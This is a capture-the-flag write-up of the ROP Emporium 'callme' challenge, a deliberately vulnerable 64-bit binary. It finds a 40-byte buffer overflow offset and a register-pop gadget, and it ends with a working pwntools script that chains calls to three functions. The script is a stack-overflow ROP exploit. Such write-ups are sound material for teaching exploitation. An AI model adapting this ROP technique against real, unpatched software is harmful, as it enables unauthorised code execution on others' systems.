ROP Emporium Writeups – callme

# Information:

CTF Name: ROP Emporium

CTF Challenge: callme

Challenge Category: Binary Exploitation

Challenge Points: N/A

Level 3 ROP Emporium

# Used Tools:

# Challenge Description:

Failure is not an option  

How do you make consecutive calls to a function from your ROP chain that won’t crash afterwards? If you keep using the call instructions already present in the binary your chains will eventually fail, especially when exploiting 32 bit binaries. Consider why this might be the case.  

…  

You must call the callme_one(), callme_two() and callme_three() functions in that order, each with the arguments 0xdeadbeef, 0xcafebabe, 0xd00df00d e.g. callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d) to print the flag. For the x86_64 binary double up those values, e.g. callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)  

…  

Alternate solution  

Once you’ve solved this challenge in the intended way, you can revisit it and solve it using a different technique that can even get you a shell rather than just printing the flag. If you’re out of ideas though, consider making it to the “pivot” challenge first so that you’re equipped with the knowledge to take this alternate path.  

For the full challenge description go here.  

They also provide a zip file. For:

Download the zip file for your particular situation. For this writeup I will download the 64 bit CPU zip file.  

# Writeup  

In this challenge, we are provided with a zip file. Inside of it, we have a text file with the flag and a binary file. From the challenge type, I know that I have to perform some kind of ROP attack.  

Below I will layout the steps that I took to solve this challenge.  

Step 1

I decided to start by gathering more information about the binary file, to so so I did the following command:

 mregra on Cyber $ file callme
 callme: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e8e49880bdcaeb9012c6de5f8002c72d8827ea4c, not stripped
 mregra on Cyber $ 

The binary is a ELF executable for 64-bit architecture. As expected.  

Step 2

Now I will verify the security of this binary file, by doing:    

 mregra on Cyber $ checksec callme 
 [*] '/home/mregra/CTF_Code/ROP_Emporium/callme/callme'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'.'
 mregra on Cyber $ 

In the command output above we can see that the NX bit is enabled. This means that the Linux non-executable stack is active. This prevents us from executing any machine code in the stack. We can also see that the canary flag is of allowing for buffer-overflow attacks, which is necessary.  

We can double check by going to radare2 and run the following command:

Let’s move on to the next step.  

Step 3

Afterward, I decided to run the program and see its behavior, this was the result:  

We have an input field. After entering “my input” it ended the program, quite simple. Considering that we have an input field and that we do not have canaries protection it is probably possible to overflow a buffer, let’s check on radare2 if that is the case.  

Step 4

As said before lets see the binary in radare2, maybe find where is the flag or something like that. To do so I did the following:  

With this we have some important information. In particular We now know the address of the functions of this program, for example:  

In red we have the main, in blue the usefulFunction and in yellow the pwnme. We also have the addresses for the callme_one, callme_two, and callme_three functions. According to the description we have to call these functions to be able to get the flag. We have to call them in a specific order with specific arguments. From the description:  

“You must call the callme_one(), callme_two() and callme_three() functions in that order, each with the arguments 0xdeadbeef, 0xcafebabe, 0xd00df00d e.g. callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d) to print the flag. For the x86_64 binary double up those values, e.g. callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)”

We now have the addresses for each function (callme_one, callme_two, and callme_three). To be able to create our exploit we need to first understand the buffer overflow offset, and also we need a way to pass the arguments to the functions, to do so we need ROP gadget with three register pops followed by a ret. Let’s start by finding the buffer overflow offset:  

After analyzing callme on radare2 I discovered that the buffer is initialized in the pwnme function. Also, the input is requested to the user in this function and added to the buffer. See below:  

The pwnme function:  

The main function calls the pwnme and here is where we get the input from the user. It is also possible to see in this function that they are creating a buffer with size 0x20 (32 in decimal) and then with the read function they ask the user some input and write it into the buffer, the problem here is that they write 0x200 bytes (512 in decimal) from the standard input into the buffer, and obviously, 512 is greater than 32 making this a normal buffer overflow scenario. 

NoteA buffer overflow attack consists of filling the buffer with random characters beyond its capacity. The analogy comes from filling a glass until it overflows, spilling its contents. 

Knowing this let’s now find the offset to buffer overflow.

Step 5

Let’s now try to break the stack and see if we can find the exact amount of junk we need to inject to break it.   We know from previously, that the buffer size is 32 bytes but the program is reading 512 bytes from the standard input. We know that we need more than 32 to overflow the buffer and it is not necessary to go over 512 bytes. I decided to give 50 bytes a try:   First I went to gdb by typing:    

 mregra on Cyber $ gdb callme

Then I was prompted with the gdb-peda$ console. Afterwards, I created a pattern with 50 bytes, as such:

 gdb-peda$ pattern_create 50
 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'

After having the pattern I run the program, by typing r, as you can see at the beginning of the next image. Then I inserted the previously generated pattern as input to the program. As expected it overflowed causing a segmentation fault (as you can see in the image). Knowing this, we now have to find the offset for this particular overflow. To do so I checked the contents of the register RSP.  

By looking at the image it is possible to find the register:    

RSP: 0x7fffffffdd48("AA0AAFAAbA\n")   

Now that we have the content of the RSP register, all it is left us to do to be able to find the offset is:  

So it seems that the offset is 40 bytes.  

Knowing this, all we have to find now is a way to pass the arguments to the functions.  

Step 6

As you probably know, in the 64bit architecture the values are passed to functions using registers, and the 64bit stack is as such:  

  syscall arg0  arg1 arg2  arg3 arg4  arg5
  %rax %rdi  %rsi %rdx  %rcx %r8  %r9

Reference can be found here.

Therefore, for the 64 bit version we need to use registers to pass arguments to functions, and because we just need to pass three, which is given in the challenge description, we need to use a ROP dadget that pops three registers and then as a ret. It is important to point out that the one thing that we must be aware to be able to choose the correct ROP gadget is that the ESP must be moved towers higher address in the ROP gadget, so by looking at the stack we need to go from left to right. One example would be: pop rdi ; pop rsi ; pop rdx ; ret.  

Let’s search for ROPgadgets with pop and ret:  

As you can see in the output above we have a pop rdi ; pop rsi ; pop rdx ; ret ROP gadget in the address: “0x000000000040093c“.   Now we have everything we need to create the exploit.  

Step 7

Now that we have the offset, the extra pop rdi ; pop rsi ; pop rdx ; ret address, we re ready to create our exploit. To do so I decided once again to use Python 3. Below you can find the script:  

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

elf = ELF('callme')                             #context.binary

p = process(elf.path)

#Prepare the payload
junk = b"A"*40                                  #creates the junk part of the payload
arg0 = p64(0xdeadbeefdeadbeef)                  
arg1 = p64(0xcafebabecafebabe)                  
arg2 = p64(0xd00df00dd00df00d)                  

callme_one = p64(0x400720)                      #address of callme_one
callme_two = p64(0x400740)                      #address of callme_two
callme_three = p64(0x4006f0)                    #address of callme_three  

pop_rdi_rsi_rdx_ret = p64(0x40093c)             #address of pop rdi ; pop rsi ; pop rdx ; ret

get_args = pop_rdi_rsi_rdx_ret + arg0 + arg1 + arg2

payload = junk + get_args + callme_one + get_args + callme_two + get_args + callme_three

# Send the payload

p.sendline(payload)                             #send the payload to the process

response = p.recvall()                          #gets all messages in the process

print(response.decode())

In this script, I start by using the ELF functions to encapsulate the information about the ELF file given as an argument, the callme in our case. Then, I created a process p that is responsible to launch the ELF file in the path, which is given as an argument. After this initialization process, it is time to create the payload.  

The idea is simple. We simply have to first add the junk (a 40 bytes long random array of characters, in our case “A”). After this, because we have to pass three arguments to each function I assigned 3 variables the respective arguments (as you can see in arg0, arg1 and arg2) and I created a variable with the pop rdi ; pop rsi ; pop rdx ; ret address previously found.   After having these variables assigned we needed to get the address for the functions callme_one, callme_two and callme_three. After this I decided to create a get_args variable that basically added the registers to the functions. I did this because each function will have to receive the same three arguments in the same order.  

Now all I had left to do is write the final payload, which is as such:  

get_args = pop_rdi_rsi_rdx_ret_address + arg0 + arg1 + arg2

payload = 40 bytes of junk + get_args + callme_one_address + get_args + callme_two_address + get_args + callme_three_address

Than I simply run the script, here is the result:  


The Python 3 script source code can be found here.

Thank you very much for reading!

Cheers,

MRegra


Share this post:

Popular posts

Leave a Reply

Your email address will not be published. Required fields are marked *